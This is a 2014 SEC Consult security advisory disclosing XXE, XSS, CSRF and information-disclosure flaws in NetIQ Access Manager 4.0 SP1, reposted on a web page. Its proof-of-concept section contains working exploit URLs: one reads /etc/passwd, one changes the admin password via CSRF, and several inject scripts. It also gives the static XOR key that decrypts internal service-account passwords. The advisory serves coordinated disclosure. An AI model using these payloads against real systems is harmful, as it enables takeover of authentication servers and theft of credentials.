扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 |
SEC Consult Vulnerability Lab Security Advisory < 20141218-2 > ======================================================================= title: Multiple high risk vulnerabilities product: NetIQ Access Manager vulnerable version: 4.0 SP1 fixed version: 4.0 SP1 Hot Fix 3 CVE number: CVE-2014-5214, CVE-2014-5215, CVE-2014-5216, CVE-2014-5217 impact: High homepage: https://www.netiq.com/ found: 2014-10-29 by: W. Ettlinger SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor/product description: --------------------------- "As demands for secure web access expand and delivery becomes increasingly complex, organizations face some formidable challenges. Access Manager provides a simple yet secure and scalable solution that can handle all your web access needs—both internal as well as in the cloud." URL: https://www.netiq.com/products/access-manager/ Business recommendation: ------------------------ An attacker without an account on the NetIQ Access Manager is be able to gain administrative access by combining different attack vectors. Though this host may not always be accessible from a public network, an attacker is still able to compromise the system when directly targeting administrative users. Because the NetIQ Access Manager is used for authentication, an attacker compromising the system can use it to gain access to other systems. SEC Consult highly recommends that this software is not used until a full security review has been performed and all issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) XML eXternal Entity Injection (XXE, CVE-2014-5214) Authenticated administrative users can download arbitrary files from the Access Manager administration interface as the user "novlwww". The vendor provided the following KB link: https://www.novell.com/support/kb/doc.php?id=7015993 2) Reflected Cross Site Scripting (XSS, CVE-2014-5216) Multiple reflected cross site scripting vulnerabilities were found. These allow effective attacks of administrative and SSLVPN sessions. The vendor provided the following KB link: https://www.novell.com/support/kb/doc.php?id=7015994 3) Persistent Site Scripting (XSS, CVE-2014-5216) A persistent cross site scripting vulnerability was found. This allows effective attacks of administrative and SSLVPN sessions. The vendor provided the following KB link: https://www.novell.com/support/kb/doc.php?id=7015996 4) Cross Site Request Forgery (CVE-2014-5217) The Access Manager administration interface does not have CSRF protection. The vendor provided the following KB link: https://www.novell.com/support/kb/doc.php?id=7015997 5) Information Disclosure (CVE-2014-5215) Authenticated users of the administration interface can gain authentication information of internal administrative users. The vendor provided the following KB link: https://www.novell.com/support/kb/doc.php?id=7015995 By combining all of the above vulnerabilities (CSRF, XSS, XXE) an unauthenticated, non-admin user may gain full access to the system! Proof of concept: ----------------- 1) XML eXternal Entity Injection (XXE) As an example, the following URL demonstrates the retrieval of the /etc/passwd file as an authenticated administrative user: https://<host>:8443/nps/servlet/webacc?taskId=fw.PreviewObjectFilter&nextState=initialState&merge=fw.TCPreviewFilter&query=<!DOCTYPE+request+[%0a<!ENTITY+include+SYSTEM+"/etc/passwd">%0a]><query><container>%26include%3b</container><subclasses>false</subclasses></query> 2) Reflected Cross Site Scripting (XSS) The following URLs demonstrate different reflected XSS flaws in the administration interface and the user interface. https://<host>:8443/nps/servlet/webacc?taskId=dev.Empty&merge=dm.GenericTask&location=/roma/jsp/admin/view/main.jss'%2balert+('xss')%2b' https://<host>:8443/roma/jsp/debug/debug.jsp?xss=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E https://<host>:8443//nps/servlet/webacc?taskId=debug.DumpAll&xss=%3Cimg%20src=%22/404%22%20onerror=%22alert+%28%27xss%27%29%22%3E https://<host>/nidp/jsp/x509err.jsp?error=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E https://<host>/sslvpn/applet_agent.jsp?lang=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E 3) Persistent Site Scripting (XSS) The following URL injects a stored script on the auditing page: https://<host>:8443/roma/system/cntl?handler=dispatcher&command=auditsave&&secureLoggingServersA='){}};alert('xss');function+x(){if('&port=1289 4) Cross Site Request Forgery As an example, an attacker is able to change the administration password to '12345' by issuing a GET request in the context of an authenticated administrator. The old password is not necessary for this attack! https://<host>:8443/nps/servlet/webacc?taskId=fw.SetPassword&nextState=doSetPassword&merge=dev.GenConf&selectedObject=P%3Aadmin.novellP&single=admin.novell&SetPswdNewPassword=12345&SetPswdVerifyPassword=12345 5) Information Disclosure The following URLs disclose several useful information to an authenticated account: https://<host>:8443/roma/jsp/volsc/monitoring/dev_services.jsp https://<host>:8443/roma/jsp/debug/debug.jsp The disclosed system properties: com.volera.vcdn.monitor.password com.volera.vcdn.alert.password com.volera.vcdn.sync.password com.volera.vcdn.scheduler.password com.volera.vcdn.publisher.password com.volera.vcdn.application.sc.scheduler.password com.volera.vcdn.health.password The static string "k~jd)*L2;93=Gjs" is XORed with these values in order to decrypt passwords of internally used service accounts. By combining all of the above vulnerabilities (CSRF, XSS, XXE) an unauthenticated, non-admin user may gain full access to the system! Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in the NetIQ Access Manager version 4.0 SP1, which was the most recent version at the time of discovery. Vendor contact timeline: ------------------------ 2014-10-29: Contacting security@netiq.com, sending responsible disclosure policy and PGP keys 2014-10-29: Vendor redirects to security@novell.com, providing PGP keys through Novell support page 2014-10-30: Sending encrypted security advisory to Novell 2014-10-30: Novell acknowledges the receipt of the advisory 2014-12-16: Novell: the vulnerability fixes will be released tomorrow; The CSRF vulnerability will not be fixed immediately ("Since this can be done only after an authorized login"); two XSS vulnerabilities can not be exploited ("We could not take advantage or retrieve any cookie info on the server side - it looks like it's a client side cross scripting attack.") 2014-12-16: Explaining why those vulnerabilities can be exploited 2014-12-17: Novell: Fix will be released tomorrow 2014-12-17: Verifying release of advisory tomorrow 2014-12-18: Novell: Advisory can be released 2014-12-18: Coordinated release of security advisory Solution: --------- Update to the latest available of Access Manager and implement workarounds mentioned in the KB articles by Novell linked above. Workaround: ----------- For some vulnerabilities, Novell provides best practice recommendations in the URLs linked above. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF W. Ettlinger / @2014 |
体验盒子
